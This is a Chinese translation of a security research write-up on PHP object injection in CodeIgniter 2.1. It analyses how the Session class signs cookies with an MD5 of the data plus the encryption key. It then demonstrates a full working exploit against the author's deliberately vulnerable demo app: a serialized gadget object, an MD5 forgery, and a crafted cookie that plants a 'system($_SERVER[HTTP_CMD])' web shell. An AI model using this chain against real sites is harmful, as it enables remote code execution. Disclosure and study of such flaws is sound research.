原文地址:http://drops.wooyun.org/papers/1449

原文链接：http://www.mehmetince.net/codeigniter-object-injection-vulnerability-via-encryption-key/

0x00 背景

大家好，Codeigniter 是我最喜爱的PHP框架之一。和别人一样，我在这个框架中学习了PHP MVC编程。今天，我决定来分析一下Codeigniter的PHP 对象注入漏洞。

我在接下来的叙述中会把重点放在Codeigniter的Session会话机制上。所有我将会分析的method方法都在CodeIgniter/system/libraries/Session.php文件里。我在本研究过程中使用的是Codeigniter 2.1 版本。

0x01 Codeigniter Session会话机制

Codeigniter 使用PHP的序列化method方法来存储用户Session会话中的变量。但是Codeigniter Session会话机制并不像我们预期的那样工作。它把session会话的变量存在了客户端的cookie里面，大多数是在（服务器）硬盘上而不是用户COOKIE中。我不知道开发者们为什么这么设计。

下面的叙述摘自codeigniter的文档

The Session class stores session information for each user as serialized (and optionally encrypted) data in a cookie. Even if you are not using encrypted ses

Session会话class类把每个用户session会话的序列化的（可选加密的）信息存在了Cookie里面。即使你没有使用加密的session会话，你也必须在配置文件中设置一个加密key（密

在这篇文章中我们将分析session数据篡改的可能性以及相关问题。

0x02 Codeigniter Session会话数据结构

让我们开始读点儿代码。但是至此让我解释一下Codeigniter是如何创建session会话并且把变量放进session（-实际上是cookie!-）中的。

对了，我会在接下来的文章中使用CI简写代替Codeigniter

让我们开始回顾一下Session类中构造方法的代码。下面的代码是__construct方法的一部分

```
#!php
// Run the Session routine. If a session doesn't exist we'll
// create a new one.  If it does, we'll update it.
// 开始session过程。如果session不存在我们就新建一个 如果存在就更新一个
if ( ! $this->sess_read())
{
    $this->sess_create();
}
else
{
    $this->sess_update();
}

// Delete 'old' flashdata (from last request)
// 删除旧的flashdata（从最近的请求）
$this->_flashdata_sweep();

// Mark all new flashdata as old (data will be deleted before next request)
// 标记所有的flashdata为旧的（数据将会在下一次请求被删除）
$this->_flashdata_mark();

// Delete expired sessions if necessary
// 如果需要的话删除过期的session
$this->_sess_gc();

log_message('debug', "Session routines successfully run");
```

CI 试着去从当前客户端的cookie中读取数据值。如果失败的话就创建一个新的，假设我们目前没有任何cookie。那么CI去试着调用sess_create函数。接下来的代码是在Session类中sess_create函数中截取的

```
#!php
function sess_create()
{
    $sessid = '';
    while (strlen($sessid) < 32)
    {
        $sessid .= mt_rand(0, mt_getrandmax());
    }

    // To make the session ID even more secure we'll combine it with the user's IP
    // 为了让session 会话ID 更加安全，我们将把用户IP绑定进去
    $sessid .= $this->CI->input->ip_address();

    $this->userdata = array(
                        'session_id'    => md5(uniqid($sessid, TRUE)),
                        'ip_address'    => $this->CI->input->ip_address(),
                        'user_agent'    => substr($this->CI->input->user_agent(), 0, 120),
                        'last_activity'     => $this->now,
                        'user_data'         => ''
                        );
```

```
    // Save the data to the DB if needed
    // 如果需要的话将数据保存在数据库中
    if ($this->sess_use_database === TRUE)
    {
        $this->CI->db->query($this->CI->db->insert_string($this->sess_table_name, $this->userdata));
    }

    // Write the cookie
    // 写cookie
    $this->_set_cookie();
}
```

sess_create 负责创建session并且把它们发给用户。正如你所见，它创建了一个数组来在session中存储session_id,ip 地址,user-agent 等等。当userdata数组就绪后，它调用了Session类中的另一个函数_set_cookie()。现在该分析_set_cookie函数的代码了

```
#!php
function _set_cookie($cookie_data = NULL)
{
    if (is_null($cookie_data))
    {
        $cookie_data = $this->userdata;
    }

    // Serialize the userdata for the cookie
    // 序列化用户数据用作cookie
    $cookie_data = $this->_serialize($cookie_data);

    if ($this->sess_encrypt_cookie == TRUE)
    {
        $cookie_data = $this->CI->encrypt->encode($cookie_data);
    }
    else
    {
        // if encryption is not used, we provide an md5 hash to prevent userside tampering
    // 如果没有使用加密，我们使用md5哈希函数来防止用户端的篡改
        $cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
    }

    $expire = ($this->sess_expire_on_close === TRUE) ? 0 : $this->sess_expiration + time();

    // Set the cookie
    // 设置cookie
    setcookie(
                $this->sess_cookie_name,
                $cookie_data,
                $expire,
                $this->cookie_path,
                $this->cookie_domain,
                $this->cookie_secure
            );
}
```

这里有一条关于代码的注释

```
#!php
// if encryption is not used, we provide an md5 hash to prevent userside tampering
// 如果没有使用加密，我们使用md5哈希函数来防止用户端的篡改
```

CI使用了md5来加密序列化后的session会话数据。他使用了encryption_key作为salt。然后把md5加密后的结果附在了$cookie_data的后面

```
#!php
//
//
$cookie_data = $cookie_data.md5($cookie_data.$this->encryption_key);
```

我想要分析上述的代码。$cookie_data将会发送给客户端。它包含着ip地址，user-agent 等等。CI使用了encryption_key作为加salt的key。作为攻击者我们知道$cookie_data和md5加密的结果，因为CI把MD5计算结果附在了$cookie_data的后面然后把它发送给了我们攻击者。让我展示一下确切的数据。

```
ci_session=a:5:{s:10:"session_id";s:32:"e4f2a5e86d65ef070f5874f07c33b043";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;
```

你可以看到上面的ci_session变量。那就是cookie的变量并且在数据值的后面你将看到550d610647f0ee0d019357d84f3b0488，这就是md5的结果，如果我们试着去逆向分析的话。

译者注：32位的字母数字（无等号）可初步判断为md5，另外上面的机制分析也说明了是用的md5

$cookie_data variables的值为：

```
{s:10:” session_id” ;s:32:” e4f2a5e86d65ef070f5874f07c33b043” ;s:10:” ip_address” ;s:9:” 127.0.0.1” ;s:10:” user_agent” ;s:76:” Mozilla/5.0+(X11;+Ubuntu;+Lir

$this->encryption_key = is what we are trying to get!
```

md5计算的结果 = 550d610647f0ee0d019357d84f3b0488

很明显我们可以暴力破解探测使用的salt，我是说加密key。

举例说明 假设有以下定义

```
$this->encryption_key = WE DONT NOW!

$cookie_data variables的值 = a:1:{s:4:” test” ;i:1;}adf8a852dafaf46f8c8038256fd0963a

adf8a852dafaf46f8c8038256fd0963a = md5('a:1:{s:4:"test";i:1;}'.$this->encryption_key)
```

你可以使用暴力破解技术来探测encryption_key! 为了暴力破解这个md5，你可以把encryption_key当成你想要获得的明文，所以$cookie_data变量的值成了salt，然后当然反转MD5函数形式从md5(plain-text, SALT) 到 md5(SALT,plain-text)

译者注：因为目前的破解md5的自动化工具均默认是给出密文和salt而恢复明文，这里的变换的原因是方便之后利用工具破解

这只是解释。我们在真实生活中会有更长的$cookie_data的情况。就像我之前提到的，为了暴力破解md5,$cookie_data当成salt。很不幸HashCat不支持这种类型的salt key。

0x03 Codeigniter Session会话数据的保存验证

我们知道了CI如何创造cookie数据。现在我们将分析CI的cookie数据验证系统。就像我之前假设的，我们没有一个cookie。这一次我们在HTTP请求中带一个cookie。让我们观察CI是怎样检测并验证cookie的。为了这样做，我们需要理解Session类中的sess_read()方法的代码

记住Session类的_construct方法。它试着用sess_read方法去从客户端读取cookie。这是我为什么将要分析sess_read方法的原因

```
#!php
function sess_read()
    {
    // Fetch the cookie
    // 获取cookie
    $session = $this->CI->input->cookie($this->sess_cookie_name);

    // No cookie?  Goodbye cruel world!...
    // 没有cookie? 去你妹的冷酷世界!
    if ($session === FALSE)
    {
        log_message('debug', 'A session cookie was not found.');
        return FALSE;
    }
    // Decrypt the cookie data
    // 解密cookie数据
    if ($this->sess_encrypt_cookie == TRUE)
    {
        $session = $this->CI->encrypt->decode($session);
    }
    else
    {
        // encryption was not used, so we need to check the md5 hash
        // 没有用到加密，所以我们需要检查MD5 hash
        $hash     = substr($session, strlen($session)-32); // get last 32 chars
        $session = substr($session, 0, strlen($session)-32);

        // Does the md5 hash match?  This is to prevent manipulation of session data in userspace
        // md5哈希值是否匹配？这是为了阻止session会话数据用户方面的人为操纵
        if ($hash !==  md5($session.$this->encryption_key))
        {
            log_message('error', 'The session cookie data did not match what was expected. This could be a possible hacking attempt.');
            $this->sess_destroy();
            return FALSE;
        }
    }
    // Unserialize the session array
    // Unserialize去序列化session会话数组
    $session = $this->_unserialize($session);

    // Is the session data we unserialized an array with the correct format?
    // 我们unserialized去序列化后的session会话数据是否格式正确?
    if ( ! is_array($session) OR ! isset($session['session_id']) OR ! isset($session['ip_address']) OR ! isset($session['user_agent']) OR ! isset($session['l
    {
        $this->sess_destroy();
        return FALSE;
    }
    // Is the session current?
    // 是否是当前会话?
    if (($session['last_activity'] + $this->sess_expiration) < $this->now)
    {
        $this->sess_destroy();
        return FALSE;
    }

    // Does the IP Match?
    // ip是否匹配?
    if ($this->sess_match_ip == TRUE AND $session['ip_address'] != $this->CI->input->ip_address())
    {
        $this->sess_destroy();
        return FALSE;
    }
    // Does the User Agent Match?
    // user-agent是否匹配?
    if ($this->sess_match_useragent == TRUE AND trim($session['user_agent']) != trim(substr($this->CI->input->user_agent(), 0, 120)))
    {
        $this->sess_destroy();
        return FALSE;
    }

    // Is there a corresponding session in the DB?
    // 数据库中是否与session一致?
    if ($this->sess_use_database === TRUE)
    {
        $this->CI->db->where('session_id', $session['session_id']);

        if ($this->sess_match_ip == TRUE)
        {
            $this->CI->db->where('ip_address', $session['ip_address']);
        }

        if ($this->sess_match_useragent == TRUE)
        {
            $this->CI->db->where('user_agent', $session['user_agent']);
        }
```

```
        $query = $this->CI->db->get($this->sess_table_name);

        // No result?  Kill it!
        // 没有查到? 结束吧!
        if ($query->num_rows() == 0)
        {
            $this->sess_destroy();
            return FALSE;
        }

        // Is there custom data?  If so, add it to the main session array
        // 有没有自定义数据? 如果有，把它加在主session数组里
        $row = $query->row();
        if (isset($row->user_data) AND $row->user_data != '')
        {
            $custom_data = $this->_unserialize($row->user_data);

            if (is_array($custom_data))
            {
                foreach ($custom_data as $key => $val)
                {
                    $session[$key] = $val;
                }
            }
        }
    }
    // Session is valid!
    // session是合法的
    $this->userdata = $session;
    unset($session);
    return TRUE;
}
```

接下来的代码CI检查了session会话变量和user-agents。基本上CI想看到相同的user-agent和ip地址。就像我们分析的那样，CI把那些变量写进session会话了

我们来分析一下_unserialize方法的代码

```
#!php
function _unserialize($data)
{
    $data = @unserialize(strip_slashes($data));

    if (is_array($data))
    {
        foreach ($data as $key => $val)
        {
            if (is_string($val))
            {
                $data[$key] = str_replace('{{slash}}', '\\', $val);
            }
        }

        return $data;
    }

    return (is_string($data)) ? str_replace('{{slash}}', '\\', $data) : $data;
}
```

没错!它对用户提供的数据调用了unserialize方法，在本例中数据是客户端的cookie

0x04 概括

在去往exploitation利用部分之前，我希望总结一下我们到现在为止学到的东西

```
CI使用了serialize和unserialize方法来存储Session中的变量
辩证来看，CI没有使用真正的Session。CI在客户端(cookie)存储了session变量而不是服务器端(硬盘)
CI通过计算md5来检测用户端的篡改
检查user-agent和ip地址与session数据一致
调用unserialize方法
```

0x05 总结

我们遇到了一些障碍

```
CI没有使用destruct(销毁函数)或者唤醒方法
Codeigniter 通过$autoload['libraries']变量装载libraries(库)。如果Session类首先定义了那个数组，你就不能接触剩下的类。因为我们要利用Session并且CI在用户装载libr
```

让我来阐明。CI按照次序从类中创建对象。那意味着在system/core路径下的类文件会首先创建。然后CI会去查看$autoload['libraries']数组然后按照次序再次创建对象。所以，为了接触不同的classes，初始化session会话类的路径格外的重要

我写了一个具有漏洞的codeigniter应用来做例子。接下来的讲解都与那个应用相关

https://github.com/mmetince/codeigniter-object-inj 译者注：然后点右下角的download zip下载下来，如果不clone的话

现在我们可以一起利用session完整性检查的缺陷和unserialize方法

正如你所发现的那样，我们需要知道encryption_key来利用漏洞做坏事!有两种方法可用。

1 - 像我之前解释的，一起利用md5的弱点和CI失败的session会话数据完整性验证。暴力破解它!当你认为encryption_key不会很长的时候我建议你这么做

2 - 很多开发者把它们的应用发布到github但是没有修改encryption_key。并且使用那个应用的人们通常不会去修改encryption_key

在本例中我们目前已经知道encryption_key是h4ck3rk3y了，让我们开始吧! 译者注：他说的是他自己写的应用$config['encryption_key'] = 'h4ck3rk3y';这个设置在/application/config/config.php里面

```
http://localhost:8080/index.php/welcome
```

当我访问上述URL时，它向我返回了如下HTTP响应

```
HTTP/1.1 200 OK
Host: localhost:8080
Connection: close
X-Powered-By: PHP/5.5.3-1ubuntu2.3
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22b4febcc23c1ceebfcae0a12471af8d72%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A9%3A%22127.0.
Content-Type: text/html
```

我们看见了Set-Cookie这个http header变量，让我们分析它 译者注：别忘了解url编码

```
ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;
```

你可以看到过期时间Expires dates和最大期限 Max-Age在字符串的末尾。它们现在不是很重要，我们把它们去除掉吧

```
ci_session=a:5:{s:10:"session_id";s:32:"b4febcc23c1ceebfcae0a12471af8d72";s:10:"ip_address";s:9:"127.0.0.1";s:10:"user_agent";s:76:"Mozilla/5.0+(X11;+Ubuntu;
```

译者注：去除了无关项后如上所示，之所以可以去掉是因为exploit的是CI逻辑下的cookie接收

现在我们将会像CI那样从那个字符串中分离出cookie和MD5

```
md5 = 30f9db14538d353e98dd00d41d84d904

Session data= a:5:{s:10:" session_id" ;s:32:" b4febcc23c1ceebfcae0a12471af8d72" ;s:10:" ip_address" ;s:9:" 127.0.0.1" ;s:10:" user_agent" ;s:76:" Mozilla/5.(
```

我们已经知道CI把user-agent放进session会话数据如上文所示。实质上session会话数据是一个PHP数组

```
Array
(
    [session_id] => b4febcc23c1ceebfcae0a12471af8d72
    [ip_address] => 127.0.0.1
    [user_agent] => Mozilla/5.0+(X11;+Ubuntu;+Linux+x86_64;+rv:28.0)+Gecko/20100101+Firefox/28.0
    [last_activity] => 1397759422
    [user_data] =>
)
```

我们知道CI在unserialize之后会去检查ip地址和user-agents。但是在那个检查获取控制之前已经对象注入完毕了。我们可以随心所欲修改它

现在是时候创建我们用来利用的对象类。下述的类可以在我们的例子中application/libraries路径找到 译者注：/application/libraries/Customcacheclass.php

```
#!php
<?php
/**
* Created by PhpStorm.
* User: mince
* Date: 4/18/14
* Time: 3:34 PM
*/
if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Customcacheclass {

    var $dir = '';
    var $value = '';
    public function __construct()
    {
        $this->dir = dirname(__FILE__)."/cache_dir/";
    }

    public function set_value($v){
        $this->value = $v;
    }

    public function get_value(){
        return $this->value;
    }
    public function __destruct(){
        file_put_contents($this->dir."cache.php", $this->value, FILE_APPEND);
    }
}
```

你可以看到__destruct方法把类变量保存在了cache.php文件内。序列化形式的Cacheclass会像下面所示字符串一样

```
//
O:10:"Cacheclass":2:{s:3:"dir";s:15:"/tmp/cache_dir/";s:5:"value";s:3:"NUL";}
```

我们要把它改成下述形式来向cache.php文件中写入eval运行的代码

```
#!php
<?php
class Customcacheclass {

    var $dir = 'application/libraries/cache_dir/';
    var $value = '<?php system($_SERVER[HTTP_CMD]);?>';
}
echo serialize(new Customcacheclass);
```

```
// Result
// 运行结果
O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}
```

现在我们需要对构造的session会话数据计算真实的MD5值 以通过sess_read方法的完整性控制

```
#!php
<?php

$b = 'O:16:"Customcacheclass":2:{s:3:"dir";s:32:"application/libraries/cache_dir/";s:5:"value";s:35:"<?php system($_SERVER[HTTP_CMD]);?>";}';
$private_key = 'h4ck3rk3y';

echo md5($b.$private_key);
echo "\n";
```

结果是fc47e410df55722003c443cefbe1b779 我们将把这段MD5加在我们的新cookie值末尾

```
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Referer: http://localhost/
Cookie: ci_session=O%3A16%3A%22Customcacheclass%22%3A2%3A%7Bs%3A3%3A%22dir%22%3Bs%3A32%3A%22application%2flibraries%2fcache_dir%2f%22%3Bs%3A5%3A%22value%22%3
```

当你发送上述的http请求给CI时你会看到下述代码出现在cache.php文件内

```
#!php
<?php system($_SERVER[HTTP_CMD]);?>
```